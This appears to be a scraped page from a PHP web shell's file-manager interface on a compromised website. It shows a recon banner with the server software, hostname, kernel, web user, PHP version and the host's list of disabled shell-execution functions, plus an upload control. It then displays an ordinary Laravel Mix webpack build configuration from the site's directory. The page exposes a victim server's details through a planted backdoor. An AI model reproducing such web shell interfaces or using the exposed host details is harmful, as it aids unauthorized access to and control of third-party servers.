HEX
Server: nginx/1.18.0
System: Linux hqnl0246134.online-vm.com 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: phpinfo,disk_free_space,disk_total_space,diskfreespace,dl,exec,opcache_get_configuration,opcache_get_status,passthru,pclose,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_waitpid,pcntl_wait,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,show_source,system,exec,passthru,shell_exec,system,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Upload Files
File: /var/www/sites/infusiontherapy.org/webpack.front.mix.js
let mix = require('laravel-mix');
let distPath = "public/front/";
let sourcePath = "resources/front/";


mix.config.fileLoaderDirs.fonts = 'front/fonts';

require('laravel-mix-merge-manifest'); //Чтоб не затирал mix-manifest.json, а только обновлял данные
mix
    .sass(sourcePath + 'sass/index.scss', distPath + 'css')
    .js(sourcePath + 'js/index.js', distPath + 'js')
    .mergeManifest();

if (mix.inProduction()) {
    mix
        .options({
            postCss: [
                require('postcss-unprefix'),
                require('css-mqpacker')({
                    sort: true,
                }),
                require('cssnano')({
                    preset: ['default', {
                        discardComments: {
                            removeAll: true,
                        },
                    }]
                }),
            ]
        })
        .version();
} else {
    mix
        .sourceMaps(true, 'source-map')
        .webpackConfig({
            devtool: 'inline-source-map',
        })
        .disableNotifications();
}